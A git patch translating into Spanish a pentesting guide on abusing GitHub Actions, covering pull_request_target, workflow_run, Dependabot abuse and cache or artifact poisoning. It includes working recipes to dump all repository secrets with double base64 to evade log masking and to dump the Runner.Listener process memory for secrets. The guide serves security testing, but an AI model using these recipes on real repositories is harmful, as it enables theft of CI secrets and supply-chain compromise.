From 470ecd0bbc6fc9df3901162e1646932f769002e0 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 29 Sep 2025 23:24:14 +0000 Subject: [PATCH] Translated ['src/pentesting-ci-cd/github-security/abusing-github-actions --- .../abusing-github-actions/README.md | 222 ++++++++--------- .../az-federation-abuse.md | 227 ++++++++++++++++++ 2 files changed, 340 insertions(+), 109 deletions(-) create mode 100644 src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index 70ace5fd2..0973475da 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -1,10 +1,10 @@ -# Abusing Github Actions +# Abusar de Github Actions {{#include ../../../banners/hacktricks-training.md}} -## Tools +## Herramientas -Las siguientes herramientas son útiles para encontrar workflows de Github Action e incluso localizar ones vulnerables: +Las siguientes herramientas son útiles para encontrar Github Action workflows e incluso encontrar ones vulnerables: - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven) - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato) @@ -12,44 +12,44 @@ Las siguientes herramientas son útiles para encontrar workflows de Github Actio - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda) - [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Revisa también su checklist en [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) -## Basic Information +## Información Básica En esta página encontrarás: -- Un **resumen de todos los impactos** que puede tener un atacante que logre acceder a una Github Action -- Diferentes maneras de **obtener acceso a una action**: -- Tener **permisos** para crear la action +- Un **resumen de todos los impactos** de un atacante que consiga acceder a una Github Action +- Diferentes formas de **obtener acceso a una Action**: +- Tener **permisos** para crear la Action - Abusar de triggers relacionados con **pull request** - Abusar de **otras técnicas de acceso externo** - **Pivotar** desde un repo ya comprometido -- Finalmente, una sección sobre **técnicas de post-explotación para abusar una action desde dentro** (y provocar los impactos mencionados) +- Finalmente, una sección sobre **técnicas de post-explotación para abusar de una Action desde dentro** (causar los impactos mencionados) -## Impacts Summary +## Resumen de Impactos -Para una introducción sobre [**Github Actions check the basic information**](../basic-github-information.md#github-actions). +Para una introducción sobre [**Github Actions revisa la información básica**](../basic-github-information.md#github-actions). -Si puedes **ejecutar código arbitrario en GitHub Actions** dentro de un **repository**, podrías: +Si puedes **ejecutar código arbitrario en GitHub Actions** dentro de un **repositorio**, podrías: -- **Robar secrets** montados en el pipeline y **abusar de los privilegios del pipeline** para obtener acceso no autorizado a plataformas externas, como AWS and GCP. -- **Comprometer deployments** y otros **artifacts**. -- Si el pipeline despliega o almacena assets, podrías alterar el producto final, permitiendo un ataque a la supply chain. -- **Ejecutar código en custom workers** para abusar de potencia de cómputo y pivotar a otros sistemas. -- **Sobrescribir el código del repository**, dependiendo de los permisos asociados con el `GITHUB_TOKEN`. +- **Robar secrets** montados en el pipeline y **abusar de los privilegios del pipeline** para obtener acceso no autorizado a plataformas externas, como AWS y GCP. +- **Comprometer despliegues** y otros **artefactos**. +- Si el pipeline despliega o almacena activos, podrías alterar el producto final, permitiendo un ataque a la cadena de suministro. +- **Ejecutar código en workers personalizados** para abusar de potencia de cómputo y pivotar a otros sistemas. +- **Sobrescribir el código del repositorio**, dependiendo de los permisos asociados con el `GITHUB_TOKEN`. ## GITHUB_TOKEN -This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option: +Este "**secret**" (provenido de `${{ secrets.GITHUB_TOKEN }}` y `${{ github.token }}`) se otorga cuando el admin habilita esta opción:
-This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) +Este token es el mismo que **una Github Application usará**, por lo que puede acceder a los mismos endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] -> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`. +> Github debería publicar un [**flow**](https://github.com/github/roadmap/issues/74) que permita acceso entre repositorios dentro de GitHub, de modo que un repo pueda acceder a otros repos internos usando el `GITHUB_TOKEN`. -Puedes ver los posibles **permissions** de este token en: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) +Puedes ver los posibles **permisos** de este token en: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) -Ten en cuenta que el token **expira después de que el job ha terminado**.\ +Ten en cuenta que el token **expira después de que el job ha finalizado**.\ Estos tokens se ven así: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` Algunas cosas interesantes que puedes hacer con este token: @@ -91,7 +91,7 @@ https://api.github.com/repos///pulls \ {{#endtabs }} > [!CAUTION] -> Ten en cuenta que en varias ocasiones podrás encontrar **github user tokens inside Github Actions envs or in the secrets**. Estos tokens pueden darte más privilegios sobre el repositorio y la organización. +> Ten en cuenta que en varias ocasiones podrás encontrar **github user tokens inside Github Actions envs or in the secrets**. Estos tokens pueden otorgarte más privilegios sobre el repositorio y la organización.
@@ -144,29 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
-Es posible comprobar los permisos otorgados a un Github Token en repositorios de otros usuarios comprobando los logs de las Github actions: +Es posible comprobar los permisos otorgados a un Github Token en repositorios de otros usuarios **comprobando los logs** de las actions:
## Ejecución permitida > [!NOTE] -> Esta sería la forma más fácil de comprometer Github actions, ya que este caso supone que tienes acceso para **crear un nuevo repo en la organización**, o tienes **privilegios de escritura sobre un repositorio**. +> Esta sería la forma más sencilla de comprometer Github actions, ya que este caso supone que tienes acceso para **create a new repo in the organization**, o tienes **write privileges over a repository**. > -> Si estás en este escenario puedes revisar las [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action). +> Si estás en este escenario puedes simplemente revisar las [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action). ### Ejecución desde la creación del repo -En caso de que miembros de una organización puedan **create new repos** y puedas ejecutar Github actions, puedes **create a new repo and steal the secrets set at organization level**. +En caso de que los miembros de una organización puedan **create new repos** y puedas ejecutar github actions, puedes **create a new repo and steal the secrets set at organization level**. -### Ejecución desde una nueva rama +### Ejecución desde una nueva branch -Si puedes **create a new branch in a repository that already contains a Github Action** configurado, puedes **modificarlo**, **subir** el contenido y luego **ejecutar esa Github Action desde la nueva rama**. De esta manera puedes **exfiltrar secrets a nivel de repositorio y organización** (pero necesitas saber cómo se llaman). +Si puedes **create a new branch in a repository that already contains a Github Action** configurada, puedes **modify**la, **upload** el contenido, y luego **execute that action from the new branch**. De este modo puedes **exfiltrate repository and organization level secrets** (pero necesitas saber cómo se llaman). > [!WARNING] > Any restriction implemented only inside workflow YAML (for example, `on: push: branches: [main]`, job conditionals, or manual gates) can be edited by collaborators. Without external enforcement (branch protections, protected environments, and protected tags), a contributor can retarget a workflow to run on their branch and abuse mounted secrets/permissions. -Puedes hacer que la Github Action modificada sea ejecutable **manualmente**, cuando se **crea un PR** o cuando se **hace push de código** (dependiendo de cuánto ruido quieras generar): +Puedes hacer que la action modificada sea ejecutable **manualmente,** cuando se **crea un PR** o cuando se **push some code** (dependiendo de lo ruidoso que quieras ser): ```yaml on: workflow_dispatch: # Launch manually @@ -180,41 +180,41 @@ branches: ``` --- -## Ejecución forkeada +## Forked Execution > [!NOTE] -> Existen diferentes triggers que podrían permitir a un atacante **execute a Github Action of another repository**. Si esas acciones triggerables están mal configuradas, un atacante podría comprometerlas. +> Hay diferentes triggers que podrían permitir a un atacante **ejecutar una Github Action de otro repositorio**. Si esas actions que se pueden triggerear están mal configuradas, un atacante podría llegar a comprometerlas. ### `pull_request` -El trigger de workflow **`pull_request`** ejecutará el workflow cada vez que se recibe un pull request con algunas excepciones: por defecto, si es la **primera vez** que estás **colaborando**, algún **mantenedor** tendrá que **aprobar** la **run** del workflow: +El workflow trigger **`pull_request`** ejecutará el workflow cada vez que se reciba un pull request con algunas excepciones: por defecto si es la **primera vez** que estás **colaborando**, algún **maintainer** necesitará **aprobar** la **ejecución** del workflow:
> [!NOTE] -> Como la **limitación por defecto** es para **contribuidores de primera vez**, podrías contribuir **corrigiendo un bug/typo válido** y luego enviar **otros PRs para abusar de tus nuevos privilegios `pull_request`**. +> Como la **limitación por defecto** es para contribuidores por **primera vez**, podrías contribuir **arreglando un bug/typo válido** y luego enviar **otros PRs para abusar de tus nuevos privilegios de `pull_request`**. > -> **Lo probé y no funciona**: ~~Otra opción sería crear una cuenta con el nombre de alguien que contribuyó al proyecto y eliminar su cuenta.~~ +> **He probado esto y no funciona**: ~~Otra opción sería crear una cuenta con el nombre de alguien que contribuyó al proyecto y eliminar su cuenta.~~ -Además, por defecto **impide write permissions** y **secrets access** al repositorio objetivo como se menciona en los [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): +Además, por defecto **previene permisos de escritura** y **acceso a secrets** al repositorio objetivo como se menciona en los [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): -> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**. +> Con la excepción de `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**. Un atacante podría modificar la definición de la Github Action para ejecutar cosas arbitrarias y añadir acciones arbitrarias. Sin embargo, no podrá robar secrets ni sobrescribir el repo debido a las limitaciones mencionadas. > [!CAUTION] -> **Sí, si el atacante cambia en el PR la github action que será triggered, su Github Action será la que se use y no la del repo de origen!** +> **Sí, si el atacante cambia en el PR la github action que se va a ejecutar, ¡su Github Action será la que se use y no la del repo de origen!** -Como el atacante también controla el código que se ejecuta, aun si no hay secrets o write permissions en el `GITHUB_TOKEN`, un atacante podría por ejemplo **upload malicious artifacts**. +Como el atacante también controla el código que se ejecuta, incluso si no hay secrets ni permisos de escritura en el `GITHUB_TOKEN`, un atacante podría por ejemplo **subir artifacts maliciosos**. ### **`pull_request_target`** -El trigger de workflow **`pull_request_target`** tiene **write permission** al repositorio objetivo y **access to secrets** (y no pide permiso). +El workflow trigger **`pull_request_target`** tiene **permisos de escritura** en el repositorio objetivo y **acceso a secrets** (y no pide aprobación). -Ten en cuenta que el trigger de workflow **`pull_request_target`** **runs in the base context** y no en el que aporta el PR (para **no ejecutar código no confiable**). Para más info sobre `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ -Además, para más info sobre este uso específico peligroso revisa este [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). +Ten en cuenta que el workflow trigger **`pull_request_target`** **se ejecuta en el contexto base** y no en el del PR (para **no ejecutar código no confiable**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ +Además, para más información sobre este uso específico y peligroso revisa este [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). -Podría parecer que, dado que el **executed workflow** es el que está definido en la **base** y **no en el PR**, es **secure** usar **`pull_request_target`**, pero hay **algunos casos en los que no lo es**. +Podría parecer que, porque el **workflow ejecutado** es el definido en la **base** y no en el PR, es **seguro** usar **`pull_request_target`**, pero hay **algunos casos en los que no lo es**. Y este tendrá **access to secrets**. @@ -222,7 +222,7 @@ Y este tendrá **access to secrets**. El [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger permite ejecutar un workflow desde otro cuando está `completed`, `requested` o `in_progress`. -En este ejemplo, un workflow está configurado para ejecutarse después de que el workflow separado "Run Tests" completes: +En este ejemplo, un workflow está configurado para ejecutarse después de que el workflow separado "Run Tests" termine: ```yaml on: workflow_run: @@ -230,29 +230,29 @@ workflows: [Run Tests] types: - completed ``` -Además, según la documentación: El workflow iniciado por el evento `workflow_run` puede **access secrets and write tokens, even if the previous workflow was not**. +Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**. -Este tipo de workflow podría ser atacado si está **depending** de un **workflow** que puede ser **triggered** por un usuario externo vía **`pull_request`** o **`pull_request_target`**. Un par de ejemplos vulnerables se pueden [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** El primero consiste en que el workflow activado por **`workflow_run`** descarga el código del atacante: `${{ github.event.pull_request.head.sha }}`\ -El segundo consiste en **passing** un **artifact** del código **untrusted** al workflow **`workflow_run`** y usar el contenido de ese artifact de una manera que lo hace **vulnerable to RCE**. +This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**encontrados en este blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\ +The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**. ### `workflow_call` TODO -TODO: Comprobar si cuando se ejecuta desde un pull_request el código usado/descargado es el del origin o el del forked PR +TODO: Comprobar si cuando se ejecuta desde un pull_request el código usado/descargado es el del origin o el del PR forkeado -## Abusing Forked Execution +## Abuso de ejecución desde forks -Hemos mencionado todas las formas en que un atacante externo podría lograr que un workflow de GitHub se ejecute; ahora veamos cómo estas ejecuciones, si están mal configuradas, podrían ser abusadas: +Hemos mencionado todas las formas en que un atacante externo podría lograr que un workflow de github se ejecute, ahora veamos cómo estas ejecuciones, si están mal configuradas, podrían ser abusadas: -### Untrusted checkout execution +### Ejecución de checkout no confiable -En el caso de **`pull_request`,** el workflow se va a ejecutar en el **context of the PR** (así que ejecutará el **malicious PRs code**), pero alguien necesita **autorizarlo primero** y se ejecutará con algunas [limitations](#pull_request). +In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](#pull_request). -En el caso de un workflow que usa **`pull_request_target` or `workflow_run`** que depende de un workflow que puede ser triggerado desde **`pull_request_target` or `pull_request`**, se ejecutará el código del repositorio original, por lo que el **attacker cannot control the executed code**. +In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**. > [!CAUTION] -> Sin embargo, si la **action** tiene un **explicit PR checkou**t que va a **get the code from the PR** (y no desde base), usará el código controlado por el atacante. Por ejemplo (revisa la línea 12 donde se descarga el código del PR): +> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
# INSECURE. Provided as an example only.
 on:
@@ -282,32 +282,32 @@ message: |
 Thank you!
 
-El potencial **untrusted code se está ejecutando durante `npm install` o `npm build`** ya que los build scripts y los **packages** referenciados están controlados por el autor del PR. +The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**. > [!WARNING] -> Un github dork para buscar actions vulnerables es: `event.pull_request pull_request_target extension:yml` sin embargo, hay diferentes formas de configurar los jobs para que se ejecuten de forma segura incluso si la action está configurada de forma insegura (por ejemplo usando condicionales sobre quién es el actor que genera el PR). +> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR). -### Context Script Injections +### Inyecciones de scripts del contexto -Ten en cuenta que hay ciertos [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) cuyos valores están **controlled** por el **user** que crea el PR. Si la github action está usando esos **data to execute anything**, podría llevar a **arbitrary code execution:** +Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:** {{#ref}} gh-actions-context-script-injections.md {{#endref}} -### **GITHUB_ENV Script Injection** +### **Inyección de scripts en GITHUB_ENV** -Según la documentación: Puedes hacer que una **environment variable esté disponible para cualquier step subsecuente** en un job de workflow definiendo o actualizando la variable de entorno y escribiéndola en el fichero de entorno **`GITHUB_ENV`**. +From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file. -Si un atacante pudiera **inject any value** dentro de esta variable **env**, podría inyectar variables de entorno que podrían ejecutar código en pasos siguientes como **LD_PRELOAD** o **NODE_OPTIONS**. +If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**. -Por ejemplo ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) y [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagina un workflow que confía en un artifact subido para almacenar su contenido dentro de la variable `GITHUB_ENV`. Un atacante podría subir algo como esto para comprometerlo: +For example ([**este**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**este**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it:
-### Dependabot and other trusted bots +### Dependabot y otros bots de confianza -Como se indica en [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), varias organizaciones tienen una GitHub Action que mergea cualquier PRR de `dependabot[bot]` como en: +As indicated in [**esta entrada del blog**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), several organizations have a Github Action that merges any PRR from `dependabot[bot]` like in: ```yaml on: pull_request_target jobs: @@ -317,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }} steps: - run: gh pr merge $ -d -m ``` -Esto es un problema porque el campo `github.actor` contiene el usuario que causó el último evento que desencadenó el workflow. Y hay varias formas de hacer que el usuario `dependabot[bot]` modifique un PR. Por ejemplo: +Esto es un problema porque el campo `github.actor` contiene el usuario que provocó el último evento que desencadenó el workflow. Y hay varias formas de hacer que el usuario `dependabot[bot]` modifique un PR. Por ejemplo: -- Fork the victim repository -- Add the malicious payload to your copy -- Enable Dependabot on your fork adding an outdated dependency. Dependabot will create a branch fixing the dependency with malicious code. -- Open a Pull Request to the victim repository from that branch (the PR will be created by the user so nothing will happen yet) -- Then, attacker goes back to the initial PR Dependabot opened in his fork and runs `@dependabot recreate` -- Then, Dependabot perform some actions in that branch, that modified the PR over the victim repo, which makes `dependabot[bot]` the actor of the latest event that triggered the workflow (and therefore, the workflow runs). +- Fork del repositorio víctima +- Añade la payload maliciosa a tu copia +- Habilita Dependabot en tu fork añadiendo una dependencia desactualizada. Dependabot creará una branch arreglando la dependencia con código malicioso. +- Abre un Pull Request al repositorio víctima desde esa branch (el PR será creado por el usuario así que aún no pasará nada) +- Luego, el atacante vuelve al PR inicial que Dependabot abrió en su fork y ejecuta `@dependabot recreate` +- Entonces, Dependabot realiza algunas acciones en esa branch, que modifican el PR en el repositorio víctima, lo que convierte a `dependabot[bot]` en el actor del último evento que desencadenó el workflow (y por tanto, el workflow se ejecuta). -Avanzando, ¿qué pasa si, en lugar de hacer merge, la Github Action tuviera una command injection como en: +Siguiendo, ¿qué pasaría si, en lugar de hacer merge, el Github Action tuviera una command injection como en: ```yaml on: pull_request_target jobs: @@ -336,22 +336,22 @@ if: ${ { github.actor == 'dependabot[bot]' }} steps: - run: echo ${ { github.event.pull_request.head.ref }} ``` -La entrada del blog original propone dos opciones para abusar de este comportamiento; la segunda es: +Bueno, la entrada del blog original propone dos opciones para abusar de este comportamiento; la segunda es: -- Fork el repositorio de la víctima y habilitar Dependabot con alguna dependencia desactualizada. -- Crear una nueva branch con el código malicioso de shell injection. -- Cambiar la default branch del repositorio a esa. -- Crear un PR desde esta branch al repositorio de la víctima. -- Ejecutar `@dependabot merge` en el PR que Dependabot abrió en su fork. -- Dependabot fusionará sus cambios en la default branch de tu repositorio forked, actualizando el PR en el repositorio de la víctima, haciendo ahora que `dependabot[bot]` sea el actor del último evento que disparó el workflow y usando un nombre de branch malicioso. +- Fork the victim repository y habilita Dependabot con alguna dependencia desactualizada. +- Create a new branch con el malicious shell injection code. +- Change the default branch del repo a esa. +- Create a PR desde esa branch hacia el victim repository. +- Ejecuta `@dependabot merge` en el PR que Dependabot abrió en su fork. +- Dependabot mergeará sus cambios en la default branch de tu forked repository, actualizando el PR en el victim repository, haciendo que `dependabot[bot]` sea ahora el actor del último evento que disparó el workflow y usando un nombre de branch malicioso. -### Vulnerable Third Party Github Actions +### Github Actions de terceros vulnerables #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact) -As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories. +Como se menciona en [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), esta Github Action permite acceder a artifacts de diferentes workflows e incluso repositories. -El problema es que si el parámetro **`path`** no está establecido, el artifact se extrae en el directorio actual y puede sobrescribir archivos que podrían ser usados más tarde o incluso ejecutados en el workflow. Por lo tanto, si el Artifact es vulnerable, un atacante podría abusar de esto para comprometer otros workflows que confían en el Artifact. +El problema es que si el parámetro **`path`** no está establecido, el artifact se extrae en el directorio actual y puede sobrescribir archivos que podrían ser usados más adelante o incluso ejecutados en el workflow. Por lo tanto, si el artifact es vulnerable, un atacante podría abusar de esto para comprometer otros workflows que confían en ese artifact. Example of vulnerable workflow: ```yaml @@ -376,7 +376,7 @@ with: name: artifact path: ./script.py ``` -Esto podría ser atacado con este flujo de trabajo: +Esto podría atacarse con este workflow: ```yaml name: "some workflow" on: pull_request @@ -393,27 +393,27 @@ path: ./script.py ``` --- -## Other External Access +## Otros accesos externos ### Deleted Namespace Repo Hijacking -Si una cuenta cambia su nombre, otro usuario podría registrar una cuenta con ese nombre después de algún tiempo. Si un repo tenía **menos de 100 stars antes del cambio de name**, Github permitirá que el nuevo usuario registrado con el mismo nombre cree un **repo con el mismo name** que el eliminado. +Si una cuenta cambia su nombre, otro usuario podría registrar una cuenta con ese nombre pasado un tiempo. Si un repositorio tenía **menos de 100 stars previously to the change of name**, Github permitirá al nuevo usuario registrado con el mismo nombre crear un **repository with the same name** que el que se eliminó. > [!CAUTION] -> Por lo tanto, si una action está usando un repo de una cuenta inexistente, todavía es posible que un atacante cree esa cuenta y comprometa la action. +> Por tanto, si una action está usando un repo de una cuenta inexistente, sigue siendo posible que un atacante cree esa cuenta y comprometa la action. -Si otros repos estaban usando **dependencies from this user repos**, un atacante podrá secuestrarlos. Aquí tienes una explicación más completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) +Si otros repositorios estaban usando **dependencies from this user repos**, un atacante podrá secuestrarlos. Aquí tienes una explicación más completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) --- ## Repo Pivoting > [!NOTE] -> En esta sección hablaremos de técnicas que permitirían **pivot from one repo to another** suponiendo que tenemos algún tipo de acceso al primero (revisa la sección anterior). +> En esta sección hablaremos de técnicas que permitirían **pivot from one repo to another** suponiendo que tengamos algún tipo de acceso al primero (revisa la sección anterior). ### Cache Poisoning -Se mantiene un cache entre **workflow runs in the same branch**. Esto significa que si un atacante logra **compromise** un **package** que luego se almacena en el cache y es **downloaded** y ejecutado por un workflow **more privileged**, también podrá **compromise** ese workflow. +Se mantiene una caché entre **wokflow runs in the same branch**. Lo que significa que si un atacante **compromise** un **package** que luego se almacena en la caché y es **downloaded** y ejecutado por un workflow **more privileged**, también podrá **compromise** ese workflow. {{#ref}} gh-actions-cache-poisoning.md @@ -421,7 +421,7 @@ gh-actions-cache-poisoning.md ### Artifact Poisoning -Los workflows podrían usar **artifacts from other workflows and even repos**; si un atacante consigue **compromise** la Github Action que **uploads an artifact** que luego es usada por otro workflow, podría **compromise the other workflows**: +Los workflows pueden usar **artifacts from other workflows and even repos**, si un atacante logra **compromise** la Github Action que **uploads an artifact** que luego es usada por otro workflow, podría **compromise the other workflows**: {{#ref}} gh-actions-artifact-poisoning.md @@ -433,7 +433,7 @@ gh-actions-artifact-poisoning.md ### Github Action Policies Bypass -Como se comenta en [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), incluso si un repo u organización tiene una policy que restringe el uso de ciertas actions, un atacante podría simplemente descargar (`git clone`) una action dentro del workflow y luego referenciarla como una local action. Como las policies no afectan los local paths, **la action se ejecutará sin ninguna restricción.** +Como se comenta en [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), incluso si un repositorio u organización tiene una política que restringe el uso de ciertas actions, un atacante podría simplemente descargar (`git clone`) una action dentro del workflow y luego referenciarla como una local action. Como las políticas no afectan a rutas locales, **the action will be executed without any restriction.** Example: ```yaml @@ -456,7 +456,7 @@ path: gha-hazmat - run: ls tmp/checkout ``` -### Accediendo a AWS y GCP vía OIDC +### Accediendo a AWS, Azure y GCP vía OIDC Consulta las siguientes páginas: @@ -464,6 +464,10 @@ Consulta las siguientes páginas: ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}} +{{#ref}} +../../../pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md +{{#endref}} + {{#ref}} ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md {{#endref}} @@ -472,7 +476,7 @@ Consulta las siguientes páginas: Si estás inyectando contenido en un script, es útil saber cómo puedes acceder a los secretos: -- Si el secreto o token está establecido como una **variable de entorno**, puede accederse directamente a través del entorno usando **`printenv`**. +- Si el secreto o token está establecido en una **variable de entorno**, puede accederse directamente desde el entorno usando **`printenv`**.
@@ -526,15 +530,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
-- Si el secret se usa **directamente en una expresión**, el script de shell generado se guarda **en disco** y es accesible. +- Si el secreto se usa **directamente en una expresión**, el script shell generado se almacena **en disco** y es accesible. - ```bash cat /home/runner/work/_temp/* ``` -- Para las acciones de JavaScript, los secrets se envían a través de variables de entorno +- Para JavaScript actions los secrets se envían a través de variables de entorno - ```bash ps axe | grep node ``` -- Para una **custom action**, el riesgo puede variar dependiendo de cómo un programa esté usando el secret que obtuvo del **argument**: +- Para una **custom action**, el riesgo puede variar dependiendo de cómo un programa esté usando el secreto que obtuvo del **argumento**: ```yaml uses: fakeaction/publish@v3 @@ -542,7 +546,7 @@ with: key: ${{ secrets.PUBLISH_KEY }} ``` -- Enumerar todos los secrets vía el secrets context (nivel collaborator). Un contributor con write access puede modificar un workflow en cualquier branch para volcar todos los repository/org/environment secrets. Usa doble base64 para evadir el enmascaramiento de logs de GitHub y decodifica localmente: +- Enumera todos los secrets vía el secrets context (collaborator level). Un contributor con write access puede modificar un workflow en cualquier branch para dump todos los repository/org/environment secrets. Usa double base64 para evadir el log masking de GitHub y decodifica localmente: ```yaml name: Steal secrets @@ -558,30 +562,30 @@ run: | echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0 ``` -Decodifica localmente: +Decode locally: ```bash echo "ZXdv...Zz09" | base64 -d | base64 -d ``` -Tip: para sigilo durante las pruebas, encripta antes de imprimir (openssl está preinstalado en los GitHub-hosted runners). +Tip: para mayor sigilo durante las pruebas, encripta antes de imprimir (openssl está preinstalado en GitHub-hosted runners). ### Abusing Self-hosted runners -La forma de encontrar qué **Github Actions are being executed in non-github infrastructure** es buscar **`runs-on: self-hosted`** en el yaml de configuración de Github Action. +La forma de encontrar qué **Github Actions are being executed in non-github infrastructure** es buscar **`runs-on: self-hosted`** en el YAML de configuración de Github Action. -**Self-hosted** runners podrían tener acceso a **extra sensitive information**, a otros **network systems** (¿endpoints vulnerables en la red? ¿metadata service?) o, incluso si está aislado y destruido, **más de una action podría ejecutarse al mismo tiempo** y la maliciosa podría **steal the secrets** de la otra. +**Self-hosted** runners podrían tener acceso a **extra sensitive information**, a otros **network systems** (¿vulnerable endpoints in the network? ¿metadata service?) o, incluso si está aislado y destruido, **more than one action might be run at the same time** y la maliciosa podría **steal the secrets** de la otra. -En self-hosted runners también es posible obtener los **secrets from the \_Runner.Listener**\_\*\* process\*\* que contendrá todos los secrets de los workflows en cualquier paso volcando su memoria: +En self-hosted runners también es posible obtener los **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory: ```bash sudo apt-get install -y gdb sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')" ``` -Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). +Consulta [**esta entrada para más 